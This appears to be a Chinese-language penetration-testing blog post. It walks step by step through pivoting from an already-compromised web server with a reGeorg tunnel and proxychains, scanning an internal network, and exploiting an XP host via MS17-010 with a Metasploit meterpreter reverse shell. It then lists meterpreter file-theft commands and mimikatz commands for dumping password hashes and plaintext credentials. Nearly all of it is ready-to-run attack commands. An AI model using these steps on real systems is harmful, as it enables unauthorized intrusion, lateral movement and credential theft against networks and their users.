過程演示
測試前提是目標服務器已經getshell。
1.將 reGeorgSocksProxy 中的 tunnel.jsp 文件放置到目標服務器web目錄，查看能否正常訪問（如圖）。
2.設置kali的proxychains代理地址和端口（通過本地的socks5 2333端口出去）
vi /etc/proxychains.conf
3.配置好后通過 reGeory 來打通本地和目標的通道（如圖顯示成功連接）
4.本地所有工具都可通過目標服務器進一步攻擊（這樣kali的所有工具就如同全部在內網那台getshell的服務器上）
所有工具使用命令前加 proxychains
測試掃描內網ms17-010，可以看到通過代理成功發現目標網段漏洞服務器。
。
。
。
。
。
。
。
打穿隧道具體方法下邊這篇文章有介紹
https://www.cnblogs.com/xiaoyunxiaogang/p/10939485.html
在kaili的proxychains 和 reGeorgSocksProxy配合進行代理
vim /etc/proxychains.conf
去掉dynamic_chain前面的#號
去掉最后一行socks4那行，然后添加socks5 127.0.0.1 8080(我的占用了這里是用的1080)
shift+:wq保存並退出
之后想讓哪個命令或者應用通過代理直接用命令proxychains+對應的命令或者應用，例如：
proxychains firefox
啟動火狐瀏覽器
訪問我們ping不通的 192.168.238.128代理成功
用nmap進行掃描192.168.238.129/130
目標開放445端口且是XP系統
我們
使用exploit模塊來進行攻擊測試
use exploit/windows/smb/ms17_010_psexec
set payload windows/x64/meterpreter/reverse_tcp //###set payload windows/meterpreter/reverse_tcp### //針對目標機器使用的系統版本，目標機器32位就使用32位（去掉*64）
run返彈了一個shell
系統是system權限沒進行限制
添加一個用戶
下面的就自己操作了
下面是一些MSF中的常用命令
基本命令
help# 查看Meterpreter幫助
background#返回，把meterpreter后台掛起
bgkill# 殺死一個背景 meterpreter 腳本
bglist#提供所有正在運行的后台腳本的列表
bgrun#作為一個后台線程運行腳本
channel#顯示活動頻道
sessions -i number # 與會話進行交互，number表示第n個session,使用session -i 連接到指定序號的meterpreter會話已繼續利用
sesssions -k number #與會話進行交互
close# 關閉通道
exit# 終止 meterpreter 會話
quit# 終止 meterpreter 會話
interact id #切換進一個信道
run#執行一個已有的模塊，這里要說的是輸入run后按兩下tab，會列出所有的已有的腳本，常用的有autoroute,hashdump,arp_scanner,multi_meter_inject等
irb# 進入 Ruby 腳本模式
文件系統命令
cat c:\boot.ini#查看文件內容,文件必須存在
del c:\boot.ini #刪除指定的文件
upload /root/Desktop/netcat.exe c:\ # 上傳文件到目標機主上，如upload setup.exe C:\windows\system32\
download nimeia.txt /root/Desktop/ # 下載文件到本機上如：download C:\boot.ini /root/或者download C:\"ProgramFiles"\Tencent\QQ\Users\295******125\Msg2.0.db /root/
edit c:\boot.ini # 編輯文件
getlwd#打印本地目錄
getwd#打印工作目錄
lcd#更改本地目錄
ls#列出在當前目錄中的文件列表
lpwd#打印本地目錄
pwd#輸出工作目錄
cd c:\ #進入目錄文件下
rm file #刪除文件
mkdir dier #在受害者系統上的創建目錄
rmdir#受害者系統上刪除目錄
dir#列出目標主機的文件和文件夾信息
mv#修改目標主機上的文件名
search -d d:\www -f web.config #search 文件，如search -d c:\ -f*.doc
meterpreter > search -f autoexec.bat #搜索文件
meterpreter > search -f sea*.bat c:\xamp\
enumdesktops #用戶登錄數
(1)下載文件
使用命令“download +file path”,將下載目標機器的相對應權限的任何路徑下的文件
(2)上傳文件
“upload”命令為上傳文件到我們的目標機器，在圖中我們上傳了ll.txt到目標機器的c:\pp\下。
(3)查看文件
“cat filename”在當前目錄下查看文件內容，輸入命令后便會返回給我們所查看文件的內容。
mimikatz模塊：
meterpreter > load mimikatz #加載mimikatz
meterpreter > msv #獲取hash值
meterpreter > kerberos #獲取明文
meterpreter >ssp #獲取明文信息
meterpreter > wdigest #獲取系統賬戶信息
meterpreter >mimikatz_command -f a:: #必須要以錯誤的模塊來讓正確的模塊顯示
meterpreter >mimikatz_command -f hash:: #獲取目標 hash
meterpreter > mimikatz_command -f samdump::hashes
meterpreter > mimikatz_command -f sekurlsa::searchPasswords